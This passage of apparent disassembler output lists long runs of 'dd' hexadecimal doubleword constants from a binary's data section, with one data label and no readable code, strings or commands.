0D387FC6Fh dd 0E8430BDh, 0FFB81378h, 0A5CB4626h, 5BCB05D5h, 4B1A9DB0h dd 16D4E9DBh, 88FFCA97h, 49B77FBCh, 0B141545Fh, 892A9136h dd 3D3430F8h, 104FBFEAh, 0A2409BEDh, 5D909856h, 0EB97FE28h dd 0D2F12B52h, 0A8CFC53Bh, 5D08D265h, 0E208863Ah, 93277066h dd 920D5941h, 0C1ECF095h, 35EF31E9h, 68ACE090h, 9BA3914Bh dd 9C92503Fh, 0B6EE527Eh, 0CBF92659h, 0C744C0A7h, 71E66228h dd 5FDA51CFh, 0FE2FEB27h, 1014516Dh, 80FED921h, 3D182DC1h dd 920C286Ch, 7672F78h, 0CC270140h, 63836D3Bh, 0D908E1B4h dd 97BDD245h, 12C907BFh, 0BDBBF04Ah, 0B7FEBFh, 3E7FB02Dh dd 0E8282979h, 50BD0705h, 5771BDDAh, 0C182CDCFh, 5A76506Dh dd 4C8E2F84h, 6AA884B0h, 0CEDD3104h, 1F61228h, 40F775F4h dd 1F1EBE4Ah, 5DA79080h, 0C9EB8684h, 0D1A26AF9h, 0E188BBA4h dd 35EB0468h, 0C45F1741h, 7CA2AA4Ah, 685AD180h, 0EE863DE9h dd 436C6329h, 57107BD2h, 47258ECFh, 0C30F3372h, 3F62E85Ah dd 0A4E48DCBh, 36444416h, 57EB402Dh, 25413A15h, 875AE3D1h dd 0F6987E3Dh, 0DF86E909h, 4B92FCFEh, 51D760FDh, 0E3DCBFB9h dd 0F7591C32h, 27E3C6F9h, 0CB81346Fh, 8B4FA5Eh, 0CD0D62E7h dd 7054225Eh, 692FE950h, 5603190Fh, 3104ADE1h, 4DF61784h dd 0EAF919C3h, 0BBAF5E9Dh, 0D056B40Ch, 77401F7Ah, 0FD8AA066h dd 0C5CDFF99h, 70F52B80h, 68394F2Fh, 46721227h, 0F95659EDh dd 942A05Ah, 9287E2Ch, 0D85108h, 685366ACh, 19972231h dd 0B42E4B6Bh, 0CA09808Ch, 0C391E99Ah, 63F1C1FBh, 162B7AE1h dd 0E1DBA919h, 307CF8E9h, 2296BA00h, 0D58946FAh, 83B2ACF8h dd 15EE51F0h, 0D52F429Ch, 0E90BA215h, 0B139CB05h, 0B5D7BF7Bh dd 5BD3DEEFh, 2CBD01FBh, 0F7E8284Ah, 5E3F5A7h, 0B98A39DFh dd 7368B0AAh, 8649CA38h, 0F96BA7C5h, 840AF1C9h, 0E58681Ch dd 5CA5CFBBh, 55512789h, 0CCEA92B4h, 5A0DDA5Dh, 0BE5BA3E8h dd 75061F12h, 0FA7B432Bh, 638A1ECEh, 12DEA8E8h, 0A0F829C4h dd 4E41C686h, 2C18B06Ah, 122CE1Dh, 8A17DBCh, 0BAF87F5Dh dd 6E551BB1h, 878A291h, 8CBA0D80h, 0D1660D7Dh, 0C0AD895h dd 4B19791Bh, 3D3FF1Ch, 33227EB8h, 50A3F6BFh, 0C63247BEh dd 0F23DE8BAh, 31D97737h, 0C14522ADh, 0DF183858h, 0DFD5428Fh dd 787BDEE5h, 1284B850h, 0B7B12DE9h, 0C32816AAh, 80641B01h dd 0E3C11DEBh, 0E951D7D7h, 0E23FD7A7h, 87B08569h, 5A6A0Bh dd 6E7858FAh, 4F68FC3Dh, 0A167FAD8h, 0D8BB59A5h, 0C4BB36Eh dd 30B1C9FAh, 9003F14h, 0E5815862h, 9FC79E0h, 0B5E94565h dd 32B50350h, 0C581A8CDh, 5C186F0Dh, 0BE04B07Bh, 2563D559h dd 0B03CD4EFh, 6354850Ch, 0CBF6444Bh, 756BE90Bh, 0CEC4B82Eh dd 0F3E190CCh, 0DC58887Fh, 0B0FEB317h, 90E8B252h, 800291FEh dd 0D42876F2h, 0EC78D05Ah, 0CF12F428h, 0B92A1641h, 7521582h dd 0D85A8B85h, 17BA7F28h, 1344616Fh, 0C0B71C05h, 94066EF9h dd 9D4F1DE9h, 41821DA4h, 50006E3Bh, 0C58008E5h, 9A63BD1Dh dd 0E949CBB0h, 0E759C868h, 2D4ABDBEh, 2BDBC24Ch, 0C15D53A1h dd 7EAE6EE9h, 2779D0B3h, 58C84273h, 0F7828076h, 0F967550h dd 63F61F0Bh, 0FC08B2E3h, 167425B0h, 96CF31C3h, 3B681609h dd 8791E30Ch, 4C7D80E9h, 2E50820h, 67B621E7h, 3940DDF7h dd 492DDE1Fh, 7051C298h, 6AB09F0Ah, 0F1881F8Bh, 5D451211h dd 3B24EF0Bh, 8F003595h, 27E64978h, 62E00225h, 0BCE907ECh dd 0F92DFBDCh, 0E1F740CBh, 695EA468h, 0A060EB8Dh, 0E9D44181h dd 0C0983BE5h, 0B3594ACDh, 0B7EAD3A0h, 0E1445AEEh, 0D31E0338h dd 909DFAC8h, 75C5042Ah, 0C45F0E93h, 0D695B98Eh, 5BF8ADC2h dd 54E7A7B5h, 772691ACh, 7D7CADh, 8D3FA005h, 0D9023562h dd 0E94B9545h, 96615828h, 0BF007A65h, 379B1807h, 5BD80907h dd 4E60F80Dh, 0BE0C112h, 176C6808h, 3BE9A9E6h, 7CB2F807h dd 4C219E73h, 909C04Bh, 0A9D53E6Eh, 5024810Eh, 0C96481Ch dd 0E60F3001h, 7D15D2B8h, 0EB4CA29h, 53480FD3h, 840AAA9h dd 125F975Ah, 58FE8B83h, 0E6F19D02h, 555F8DC2h, 348B3171h dd 0A1836EAEh, 0ABF910BEh, 0C263402Fh, 10E44F5h, 203C249Dh dd 2941D081h, 6814F638h, 4000B7DAh, 0B65CF725h, 4F00352Ch dd 56F221Ah, 4B1E5486h, 0F8E31255h, 0F32113F5h, 0EC7264EBh dd 0F402B7A8h, 5A9F76FEh, 1D2C7860h, 0DC39452Dh, 7E170094h dd 0E953343Bh, 1607EF27h, 0CB5550A9h, 6A7C9541h, 394A6841h dd 531A33Bh, 175D44CCh, 2E1EDD90h, 41322D1Fh, 0FBD08DEh dd 61ABA2A0h, 4859C889h, 0F6F21F1h, 0E7EC47D7h, 43DF726h dd 1591D080h, 4176C59Ah, 81DFF5EAh, 489ADA09h, 2E61EC68h dd 17D4C90h, 58844835h, 0D568D929h, 63346A70h, 0B2EB0F25h dd 0A05FCA84h, 5D066489h, 73B0EE98h, 98957597h, 99617D0Dh dd 763A4834h, 90E12E7Ah, 7C13A0h, 0F56C9942h, 0CD7A092Ch dd 0DFFD912Fh, 6FFCA629h, 4685FA12h, 8874ED04h, 756B61BBh dd 96540C0Eh, 52E4489h, 0F112F028h, 98182DD1h, 0DFC29581h dd 428703FAh, 5F0502F5h, 542A201h, 24800BC5h, 2A4C53A4h dd 0E7CB17E9h, 123AD7BFh, 900D785Dh, 4A549D5Bh, 5BA0011Fh dd 858CB85Dh, 8FC961A2h, 4C29D648h, 283159D6h, 0E8D5EF97h dd 1926C4Dh, 800506CFh, 9FCF06C7h, 4BF0B746h, 56315A2Fh dd 1F415A4Eh, 468630Eh, 7F6D6857h, 0E9C231A3h, 0D174E8E0h dd 0A2BF8F64h, 18E248AFh, 0BE225D25h, 4C6B0963h, 5AF74E29h dd 5B5A7877h, 0B7EB49FEh, 0D97DA8E2h, 5471EB2Fh, 34C96805h dd 9A848FEDh, 0CB810038h, 1F746242h, 0E5E3C11Fh, 0F80BCEDAh dd 9C96F4Bh, 7FCF42FAh, 63C981CBh, 0DD0F6420h, 0EE2C5B4Ah dd 48FBE893h, 793FFD72h dd 0EB7BE292h, 427D3A0h, 0E9707F40h, 4A73D25Eh, 0D7AC6BF7h dd 0A4ABD564h, 681D66F5h, 0CD305D67h, 0D6D10CE9h, 49CEFA8Eh dd 23E98C61h, 0E22A64E5h, 17F065Ch, 4684F281h, 88284FB2h dd 0D3276812h, 33994BD2h, 5C72AA3h, 0F523EBE2h, 0E00B12E5h dd 78BBF513h, 78F6E5D9h, 9369C4B9h, 165FD5CAh, 641CEF09h dd 93342828h, 61EE3AD2h, 0A7D64B4Fh, 98A5016h, 7BAE44F2h dd 2A8B46DFh, 0C7CB56E9h, 0A2545511h, 3DB23B8Fh, 2AC27680h dd 176240Fh, 8888B90h, 5BD85AD7h, 89042EF6h, 13BB2EEDh dd 4C641F10h, 0E695DDE3h, 0B779F00Ah, 0C02EE15h, 0C2102708h dd 77631238h, 820634Ch, 30E4B056h, 0C56509ABh, 0EC74B269h dd 713E295Ch, 0FC13C1F4h, 0CFF745Eh, 0BB74D06Ch, 18268305h dd 0D4004B45h, 8B3C74EBh, 0F70CC235h, 4055FC68h, 2E967726h dd 401B688h, 0BED6D5E9h, 76DA0149h, 42E787E9h, 6025C75Ch dd 0DF0801CFh, 0BB533B00h, 1F72265Fh, 2158C343h, 0EFF5731Ah dd 78448C4h, 8B929FE2h, 0E82924D5h, 4BCFB743h, 4A90FDC0h dd 0FEDEC5FFh, 0A290E92Dh, 94680E59h, 35290Eh, 3911F66Dh dd 89671398h, 0FFCE0BF7h, 825907C2h, 0C0EDA7BDh, 16C4BF23h dd 0E9757B74h, 0F558C93Ch, 36BEED90h, 81422700h, 0CD02EACAh dd 9909051h, 55F16EE9h, 9F03E7D8h, 0F7155642h, 2362EDBh dd 17D224A3h, 81F75EA1h, 3E0F59A5h, 19E5E451h, 910E217h dd 15C28645h, 5FC97C1h, 21AC8h, 0D4BE567Ah, 2942A649h dd 4C5EF02Eh, 280A0514h, 259A152Dh, 23155D95h, 0E966CDA1h dd 5BA4CB26h, 0C4091879h, 0FD298702h, 0B1163128h, 82E87A3Ah dd 943DEA7Dh, 72256FAEh, 517D8C3Ch, 0F68AB109h, 1CD876D9h dd 0F0CBA0E4h, 0F9627DC7h, 0A985AC89h, 2F5EC928h, 185E494h dd 98BF3AFh, 0F2EEE9F5h, 4DC5005Ch, 5EA1203h, 9527591Ch dd 81485878h, 10A55D07h, 0D72FB660h, 0E558C1FEh, 63F51F5Eh dd 4507C507h, 306EDA3h, 1BDCE850h, 0C2AC011Ch, 517F5C61h dd 3BA73C74h, 39BDD180h, 2D6E8A06h, 40FCB350h, 745DE104h dd 86A2875Bh, 0E6483DC9h, 0BD111359h, 85C4D9E8h, 0DD290741h dd 0FEF2E7F1h, 2877797Eh, 0DF4C644Fh, 9B374EF1h, 1DAD583Eh dd 3A82C28Fh, 0FFEC4968h, 8A9E5CBDh, 3ACDA01h, 7D53D85h dd 4D47ADB5h, 5FF6023Bh, 7D28B341h, 0C9555801h, 0E60C8F36h dd 29CE02D3h, 9FF4C5F2h, 2DC2165Bh, 85E92E71h, 10F35E74h dd 5510A7C3h, 0EEC1032Dh, 0C5526805h, 0A9515822h, 0B08F4B7h dd 1CD50710h, 47B1076Ch, 3246F180h, 6155E2EBh, 176F3973h dd 6DBC61B9h, 0DAA07CDAh, 25805F19h, 38FA1772h, 3BA9DEA0h dd 87481D06h, 90064FF9h, 0CBAB09B8h, 64DDADFAh, 0BA53D5Fh dd 88B260Bh, 0F008DDD3h, 2D4EA64Ah, 0DBD989FDh, 15E90F35h dd 3FC127D9h, 101818ADh, 55F61712h, 0B51F1C7Ch, 6B49F731h dd 3296771Ah, 0D08295ACh, 2D46E7D7h, 57553AF5h, 0E943887Ch dd 2CBBA58Bh, 0BF0B575Bh, 875529EBh, 0DF24D73Fh, 0F32B8FAh dd 0D22A94F2h, 59E963F0h, 4097B77Ch, 2D13C549h, 0FF95292Eh dd 0C0BD99Ah, 96F70910h, 2B55180h, 8DC580E3h, 6771EE30h dd 0FA3ED09Eh, 172CB714h, 3521308Ah, 25127B68h, 72804B43h dd 1B9967B2h, 0DDCB893Ch, 0FE0E12C9h, 0C7EB0D40h, 0BA8DC897h dd 2384B5CFh, 8FD110E3h, 5D974955h, 0BFC4AB9Ah, 0F0C5405Fh dd 52991FBBh, 0AF72572Bh, 0C67750Bh, 95EB86FDh, 0E3080957h dd 0C3D8969h, 8325E03Bh, 0CB7E74Eh, 572EA958h, 0E368504Eh dd 880D364Dh, 59CF4202h, 0C9B7D1F5h, 0B982E912h, 71F7D943h dd 0E9CC692Dh, 8C0A72Ch, 0D40289ACh, 0FD798212h, 2708CAA8h dd 7200047Eh, 0E96A056Dh, 202841E6h, 2516F6B8h, 0C6AD416Eh dd 0E5126500h, 36E94D23h, 0BE681960h, 7ADD43F8h, 972F7A3Eh dd 54E9CED1h, 0E65DFAA2h, 0CF8825DEh, 1B62595Ch, 28CE8EAh dd 2C260B5Bh, 0B8DD5C29h, 0B4BAE93Bh, 0C6163C99h, 89C9AC01h dd 0C01AF559h, 0DC4A7C74h, 80070710h, 9259A0EFh, 0A87FF2FCh dd 55278D97h, 8A29D007h, 2F8108Fh, 0B05FCA25h, 0DA07D51Bh dd 60FF1948h, 5EF5E909h, 752D9682h, 4F68020Ah, 0D193CD54h dd 0E26F7CE1h, 7084A2F5h, 0D8882543h, 0CBEA93F0h, 0E38C8BEFh dd 0AC98DF91h, 0AD803F22h, 42680657h, 6E21581Dh, 0A660D641h dd 2759B136h, 0FAC3AFC1h, 6C62665Fh, 53886EBBh, 5167490h dd 90EB673Ah, 0F6571CA3h, 54296E13h, 0C130064h, 5A24858Ah dd 214A0225h, 1D4031EDh, 0D69F413Bh, 3433C205h, 7C69C107h dd 958F6948h, 0F681DF88h, 0FA27507Bh, 0FEF289F0h, 25B9F59h dd 0E632EA24h, 0FB6800EFh, 52578043h, 0DAF7174Ch, 6B85FA01h dd 0F3F8117Bh, 0A1B0419h, 0E107E96Dh, 0F0B83F17h, 0D1F9EBB4h dd 0ED1AA716h, 0FAB624A6h, 0B58DAF17h, 0FEF8F2F0h, 303D13C2h dd 0EB9022D0h, 5B5A0470h, 0D321ED29h, 40D6A56Bh, 0AC6D3798h dd 0FB296905h, 805B850h, 54E10BE9h, 3D513FE8h, 9E121BECh dd 81E04CBEh, 0C12BD6Ch, 0AE840B84h, 565D0702h, 0C2535751h dd 2F1BD508h, 0B8012952h, 89B392C3h, 486059CEh, 69125E9h dd 673D8148h, 7C32D52Dh, 72A120F0h, 406E24D3h, 0DFA02795h dd 9D1F27EEh, 7D203890h, 29B5A0C8h, 0BFE3B11Ch, 210B5F73h dd 8934ACF2h, 32160D26h, 0A559DD09h, 13910408h, 0B4B6F001h dd 5D4E4116h, 6F036801h, 0BA1507EDh, 214A45E6h, 0C95D5Ah dd 14D5CE81h, 9562EB45h, 0A708AA04h, 47CC807Dh, 42170759h dd 34AB89E9h, 6082AFE8h, 0AC05008Dh, 0C2FB612h, 97047D2Dh dd 9F61FA5Fh, 7F116BE5h, 0B7F6031Ah, 5E0F5272h, 3BCC82E8h dd 0F9740E37h, 76314A07h, 9DF2F7C6h, 29729955h, 1828D165h dd 868978ADh, 7B85263Bh, 76695C3h, 82540620h, 0B4855EDh dd 0BA046852h, 5A21EC78h, 334D41A8h, 0A7893ACAh, 2D2CD4D6h dd 0C2C9253Dh, 8F767706h, 394FC5EFh, 653088h, 8157130Fh dd 48760DE5h, 59A0C4Ch, 0F749F359h, 836525FAh, 9F2FCD0Fh dd 0F925DFC5h, 5F0FBEDh, 0AD5F5E5Eh, 42B3C8F7h, 968BC86Ah dd 7C5AA9DCh, 972688FAh, 127AA06Ch, 0AE69B11Fh, 0C4ACC594h dd 0FEDBCFB0h, 0DC938F82h, 0F55A8DC1h, 31305117h, 7D4E1779h dd 0DE220319h, 0E9A88573h, 9EBD8DC2h, 3D3B09EBh, 61798807h dd 159CE9C1h, 3B16172Dh, 8916B263h, 5A027CF7h, 6FA29161h dd 0F3CD3731h, 723EF805h, 6FD86E14h, 8AE68E6h, 3723E905h dd 134D2EEAh, 0F04109E9h, 0CB674FBDh, 0CEF5FA80h, 0E968CC7Bh dd 50832AE7h, 7A10B151h, 5BB92C81h, 6EEC9F14h, 1B56241Fh dd 6C202CBAh, 318F3A12h, 7F027202h, 700AD7DDh, 60082097h dd 41D91E5Ah, 0E9243365h, 0B1A79496h, 0BEF4569Ch, 2E14B278h dd 0C0CB7E40h, 0DEFC5360h, 70083790h, 7313518h, 836972E6h dd 1C41CD29h, 141CA008h, 0EFDAE924h, 464E2D81h, 20E89164h dd 0DA29D62h, 185176ACh, 800BB501h, 1C88AAF5h, 661864B6h dd 98472AF0h, 25C27D57h, 3F482FB0h, 679F6BA8h, 124A245Ah dd 8F638261h, 57D28EFEh, 2830FD6Dh, 0A1B715B1h, 0D968CED1h dd 0E75D5C27h, 0CD7DA50Ah, 0A6E98A68h, 8EE0B1F9h, 8B723BF6h dd 0C69610D2h, 5EFDC482h, 5E3A0B60h, 0FA77E6FFh, 2F52B5BDh dd 347EC2EDh, 78FB5816h, 0A334E997h, 921A2AB3h, 0AD38A46Bh dd 66258DACh, 50BB2657h, 7ABBF423h, 0ED4BFC4Ah, 0CDB91F7Bh dd 6F1EE7C7h, 8EDD46F7h dd 0E4E6BDCAh, 58050C33h, 4A35A51Ch, 9EB9C180h, 16B8047Dh dd 89FC41E9h, 2999D111h, 0C0E202DEh, 407F4947h, 37C7009h dd 0D2F72542h, 0E8B47268h, 0ED97DFB0h, 0EC5099EFh, 0BA431C5h dd 0EABDA6C0h, 0BF71A45Ah, 8B390AFCh, 5D8D22D3h, 0C1DF2909h dd 0BBDB01F6h, 9DBAADFDh, 147B3866h, 0B7E84893h, 0C5AE8858h dd 0E85AEB2Dh, 0EC0F9530h, 0FD760DF2h, 3F6E8213h, 0C13AE9A5h dd 11A50AC2h, 4C1123F0h, 58158197h, 5B13E54Eh, 9204BC3Fh dd 0A1304AB1h, 193900A1h, 13E7811Dh, 0E4B3C7Bh, 0F45E4AACh dd 7F1E73D0h, 7EC95DC1h, 2DB727F1h, 0BB921EA4h, 3B0F6033h dd 8131B6FEh, 31F367C1h, 47FBF0FDh, 832C62BAh, 0F88398C3h dd 5D3F299h, 0A752705Eh, 132EEC65h, 0DDBFCB2Ah, 95AD41F8h dd 0AD1A89D3h, 5840F72Dh, 3461DD68h, 0FEF6B2F3h, 9D58AD4Ch dd 0A68A6FDCh, 0A00367C0h, 0D90DBE21h, 0FB04DFEDh, 8485E401h dd 67709335h, 1508042Fh, 0BAF0893Eh, 652C6FA8h, 17D19741h dd 4DC0AE27h, 91378C68h, 3C7ACEEh, 4FCD155Ah, 66EE6E05h dd 0DB024112h, 0DFE708ECh, 860C1F52h, 0C726031h, 1345129Ch dd 40B4BB78h, 6A7D0547h, 0BECA0991h, 2BF4ED8h, 54B81C25h dd 0C35DD7F7h, 48B4F0EFh, 0ED094F8Ch, 0AB267DC0h, 5D279BFDh dd 6AA61C45h, 0F16CC427h, 0D2485F9h, 425D60EEh, 32C634C1h dd 827F529Dh, 0AA515708h, 5540FA13h, 3D4678BBh, 4B8DF64Dh dd 9DE325h, 0DDC38006h, 39885266h, 0D39C53DAh, 5178AFF6h dd 97700820h, 92ABE1A2h, 0D0DA2902h, 0D765209Bh, 58E2881Ch dd 0E68714C9h, 14DE9FEBh, 0FD5AAEA4h, 0E909A667h, 0B8C52336h dd 6021B0B5h, 5FB0E35h, 682125A1h, 3B1E2869h, 3BAF185h dd 57710AF2h, 8ED1508Fh, 0D90A8A4h, 50C59FB6h, 99BF6EBh dd 7505E955h, 0CB5E1D04h, 0EEF37F80h, 7DFBEE75h, 0B2485968h dd 0C613B681h, 320E2011h, 2C863004h, 19F891E9h, 475B309h dd 0F88B802h, 0D84E19D7h, 0B763DBF4h, 77A88A74h, 0D0C3B209h dd 584B0B34h, 0B657982Fh, 67BD5EA8h, 11D6A5DEh, 3F31C5C4h dd 281D359Fh, 0B8317460h, 2597FED1h, 0B465FC2Bh, 7980B9EEh dd 950E9200h, 0A5E9D001h, 956E9AC4h, 5B3684F7h, 8BDDC2EEh dd 2F70C061h, 0AED3DC0Dh, 65020020h, 0C248E4C3h, 80010A63h dd 4A21A1E7h, 9F3240CAh, 8345816Bh, 6D9155BAh, 0A5EBE102h dd 0DC0E8C2Ah, 0F64CC262h, 108443D5h, 4A44F024h, 854C41BFh dd 3957AB6Eh, 7459050Eh, 81AF8EEEh, 2AE6301Bh, 137AE3DDh dd 896688FCh, 0BF0943B2h, 0F4664342h, 47D008Bh, 83E977AEh dd 44AE4A4Bh, 54080h, 3B2021BAh, 97897C98h, 0E94EB596h dd 9B5845FAh, 6250BF56h, 45083093h, 0BCF2AD7h, 3EAC176h dd 1313C05Fh, 4B6A253Ch, 6BCAA1FDh, 0C924421h, 0CE5AFBEBh dd 0DA445F0Ch, 0E6B42FF9h, 0A80D4BE9h, 0A4A1585Ah, 3101BF05h dd 7B4BA6BEh, 2CA4955h, 0C06A0688h, 0CEC1517Fh, 5A22804Bh dd 0CB858F64h, 0E8D55707h, 5F0304BFh, 0C7AF760Fh, 59FAD115h dd 0A6E13E69h, 0B1FAF82Eh, 21F56858h, 0A6F9F5C2h, 83EFE9C1h dd 56A774BCh, 5881ABDDh, 222D07B8h, 5174627Eh, 0C9B08C4Eh dd 877EF250h, 2FB6E984h, 964156FDh, 4A3AA83Fh, 0C50C16A0h dd 84C80987h, 2562C09Fh, 0D214398Ch, 24372D17h, 0CD0B0D51h dd 0B9070031h, 4F5FD508h, 3A52B9C5h, 0D52426C8h, 617984ADh dd 0A09756FBh, 701DC6D4h, 0EF81235Dh, 3501E327h, 29C1F040h dd 0AF734B67h, 16083710h, 81BB015Fh, 6B88A069h, 81DE9CD3h dd 0F5FD720Dh, 7D6AF71h, 387D095Ch, 0C00D388Fh, 3ECB81DFh dd 7776DC1Eh, 8096F350h, 5D87683Eh, 0B69160Ah, 0F92EDD89h dd 0DD8B271Fh, 646230B9h, 0D9BD33F5h, 0C2946274h, 952C9455h dd 5C14B959h, 8B2D9CECh, 45BF803h, 17621E44h, 0D3D98052h dd 653EC056h, 0E110DBE9h, 0DE3E2E84h, 0BE4F8A5h, 0A265D2Ah dd 8088DCAh, 0B09309EDh, 220933D2h, 5F4FE174h, 80D5C62h dd 1AEB2E1Ch, 0D0520C29h, 437B24C1h, 8D422990h, 0E0C10058h dd 74904004h, 0B77FA57Dh, 2F0C7390h, 0C36C826h, 0C1022E18h dd 8E20231h, 8B5787E9h, 0F52E2935h, 82A0066Dh, 491ECA09h dd 0A3040065h, 2D466C57h, 0CE8553E9h, 0BB768531h, 4111DBF0h dd 19C83AEEh, 17F490AAh, 12DFF723h, 0E9A8F05Bh, 6675682Fh dd 63CC20AFh, 2BA709Fh, 3F392678h, 0E802C829h, 680A8C05h dd 7ED96916h, 0E100BBDBh, 461008B8h, 3D30EDD1h, 8B84BD44h dd 31F8AB56h, 7C1FEE5Ah, 1CCA588Dh, 0C31DF77Ah, 0D79CE9h dd 7DF00D2Ah, 71353865h, 2C06507Ch, 7967D225h, 7E2B27D4h dd 19A076E4h, 0F01925F2h, 0BE604739h, 0A2183C30h, 5980C086h dd 9AFE5BDCh, 723322C6h, 6BEEB488h, 0D6209ED2h, 7A804810h dd 0EA8AF916h, 0E47D2B31h, 2D72907Ah, 700B0582h, 0E42C8B29h dd 324521BEh, 0F40B6A4Ah, 15CAAD4h, 0AC2E9201h, 813B294Ah dd 0FE13DD62h, 6850CCF1h, 8C324EE2h, 530244FFh, 0D7E96739h dd 40A4D4D4h, 0B422E80h, 0BF133E98h, 0C21C743Fh, 0DD802E28h dd 880B7CAAh, 0A4EAE916h, 65AE0168h, 0D3B0BCAEh, 518557C0h dd 0FFFE4AEEh, 0C80B3075h, 0E76A683Eh, 5F4414A9h, 7700D47Ch dd 0E92E470Ah, 0EACD11B4h, 0E482FA21h, 42D95927h, 813F2F7Fh dd 0F712B87Fh, 4E05128Eh, 3C146C39h, 6041C01Ah, 3A812C1Fh dd 0A3A43AE2h, 40C200EFh, 0E9E1CDF2h, 0F261152Ah, 0A520629Ah dd 685D1EBEh, 9186596h, 0BD602155h, 0FABFE990h, 27077570h dd 0CECCD739h, 0FC05CD27h, 60805858h, 0D302F582h, 5A097CA9h dd 30A70888h, 4300252Dh, 0E9D30D87h, 9375F705h, 4952FEC6h dd 71D05A57h, 0CF645069h, 0DBCB9F3Dh, 70C27B0h, 0A7EC034Fh dd 0A4EDC11Dh, 7115048Ch, 0F7FCC0DBh, 0FC2C116Fh, 777AC638h dd 37E888C0h, 66E9C00Ch, 0BC15DE5h, 347B100Dh, 84E62D5h dd 72EB2208h, 697B9769h, 84C11B6Ah, 0A23F080Ah, 0ACE90BF1h dd 0F0244422h, 327E5F3Fh, 58F70960h, 113B0BB5h, 5C85B04Eh dd 0BBE116E8h, 43F534D9h, 0D03A77FAh, 3E1223C0h, 3FBAB15Ch dd 0F87B05CEh, 9A824E46h, 2FE27A61h, 18A4C912h, 0BDE9C0E4h dd 0D095F129h, 28690427h, 0BEF73B26h, 2095060Fh, 0AE353AD5h dd 2CDC026Ah, 0D9E9C201h, 0AC79CB50h, 9226EA78h, 7549A8CEh dd 0CE4BBBC3h, 58C70AAEh, 0D183EDBh, 0E5F092B6h, 0BE05AC9Ah dd 494471A7h, 394CAEF8h, 0EC13A334h, 0F9852CA7h, 0F504838Bh dd 5509864Ch, 0E43EBCE9h, 76825BBh, 8AC2AFFEh, 84DE7953h dd 0FDFEF059h, 95FB9371h, 0D56DEA0Ch, 0B419F21Ch, 0C58431D9h dd 0B31334BFh, 29603B41h, 8E37F5F4h, 98D5282Fh, 1DB450E6h dd 81E4C07Eh, 0E97AB353h, 28E67A55h, 0D9E2F114h, 9B7FA681h dd 25C032B2h, 0B7F6780Bh, 0F725B36Dh, 0C1E95821h, 0B7252A08h dd 96F112EEh, 5CF2DAAEh, 583E6754h, 0FD252A9Ch, 0BD2ED495h dd 0EC56DC96h, 40452EB0h, 96FA5F9Dh, 290CDB64h, 427881AFh dd 0F3FC3F0Eh, 833258B2h, 310CC5Bh, 435AC579h, 82D96266h dd 422E04h, 552D61FAh, 5A5B1D50h, 550F0781h, 0B54A5430h dd 36D15E63h, 9532202Ah, 65B05300h, 78685755h, 439B1F03h dd 0EAAA97E9h, 832DF8C9h, 105FFE4Eh, 3834F812h, 0C3DAF2AFh dd 824CED80h, 30F6E1E8h, 1000A62Eh, 934FC8E5h, 0E42F5EBAh dd 68C60193h, 0A33E395Bh, 2B4B0B34h, 218DC0D4h, 2F85023Ch dd 0FED37CE9h, 32064489h dword_4FD044 dd 45BA10BBh, 9A21C468h, 71AE003h, 230C0443h, 0F1F68FD2h dd 1C46ED8h, 3D0CB108h, 4F6FF8CAh, 0C94A76ADh, 3CFB2E1Fh dd 0F94AF647h, 0C8488BFh, 38BF6E4Bh, 0A7D75954h, 621CF5A4h dd 73BAF775h, 0DB28B25Fh, 5BBCA9Fh, 1453474h, 2C61ABF5h dd 7F72ED58h, 0D7AAB317h, 859FA2A2h, 56793977h, 8F8AA1F1h dd 0A468875Dh, 1934BEh, 0AA1D433Bh, 42504A63h, 385FB3D6h dd 5BD95CCBh, 3AEB2A5Ch, 0BB543530h, 0FB4B95EBh, 68C4D0E7h dd 0C36EE65h, 5EFD31DEh, 0DC934BA6h, 0FE4EC2E6h, 2AB4DDBFh dd 0A8D6BCB2h, 0B868820Fh, 0B52CA016h, 0AEA809Bh, 2E2CE9F6h dd 0AE5FBCABh, 1B012413h, 35D12159h, 22057F68h, 0BA4F7FACh dd 7F647212h, 932FA8AFh, 5227A1B8h, 0E916BE6Ch, 4B8CD8FBh dd 74597901h, 73D6BD63h, 10250C68h, 8ACA88CEh, 0A6FC517Dh dd 6F27372Bh, 0F33D4686h, 0BE8BD89Ch, 2D767301h, 0BBE772F2h dd 0F60E6B19h, 490DA48Bh, 43C79061h, 9DB1ACB2h, 57912AC4h dd 8E6B933Dh, 8A267E44h, 7E6B2875h, 83293546h, 445FCDCAh dd 7DA18FB8h, 8329544Eh, 2A25E2AFh, 0C5437C59h, 63FEBD3Ch dd 279ED11h, 0F03B0538h, 84D5B550h, 2FC44D17h, 0F7957D03h dd 0C1AF9FD0h, 419D8D03h, 0CE45A52Ah, 92145657h, 6A39A1DFh dd 0E1C9F2B1h, 1D88F420h, 1ED5F6DDh, 865901EBh, 0CBDA30D3h dd 0DB7A097Eh, 501892F1h, 0DD3D62A6h, 0BCC95540h, 0D9E525AEh dd 0F86E9B9Dh, 16BDD0C8h, 2F57CC88h, 443995C7h, 6A4C97F9h dd 0BEB3209Dh, 3FB2CDC8h, 0AB4BE801h, 29E96538h, 0E4DE8211h dd 80D0BB50h, 14B90CE2h, 6355812h, 2DD6B87Fh, 96DDA0B3h dd 168FDF98h, 7628EDC7h, 34B4EF5Bh, 35D2DE9h, 460A6EC8h dd 423E2FEDh, 2620904Ch, 192584Dh, 46B83A15h, 8420D501h dd 1BE924EEh, 2F5CA759h, 2410163Ch, 35B8D921h, 0B5685E00h dd 65D11554h, 0F5FEEB25h, 996029BCh, 7CF78159h, 12F4F1Ch dd 4C63924Eh, 89A46005h, 3688D2B4h, 0DD202D4Eh, 0BD0A2ECAh dd 8934647Eh, 84AF9332h, 0A13BA95Bh, 207CC068h, 9F868ECBh dd 0E60189FBh, 67C07647h, 0EC89EEC1h, 8359C505h, 1358D188h dd 4B0FF857h, 97FE93D5h, 45ADBEF5h, 13B27AB5h, 0B134710h dd 0D967AF68h, 42C2CD1h, 0AAD942E6h, 563D09A9h, 0D498B27h dd 5007C219h, 30345DB1h, 0D567508Bh, 92BD705Bh, 24420286h dd 8259EF2h, 0A57527A8h, 4EAAF68Eh, 3AE4D10Ch, 5AE7B32Ah dd 0AFA264FBh, 0EFE403FCh, 0E22FB97Dh, 9B2F10E8h, 0AEDDFE4Ah dd 0F028C1F9h, 5098B102h, 9FFEDB0h, 1B9106EAh, 96C2BDF5h dd 0F58EFB7Eh, 5521E6DDh, 13BC090Ch, 748B7198h, 0C1DDA38Bh dd 0F14D73F6h, 3FCAB06Eh, 0BBC03E54h, 0D616205Ch, 19C538FFh dd 476B6500h, 56A686BDh, 0A42B522h, 0DC89D0DEh, 0EFCED47Fh dd 3BF0C96Bh, 4C315A25h, 13E89FABh, 5F8ADF06h, 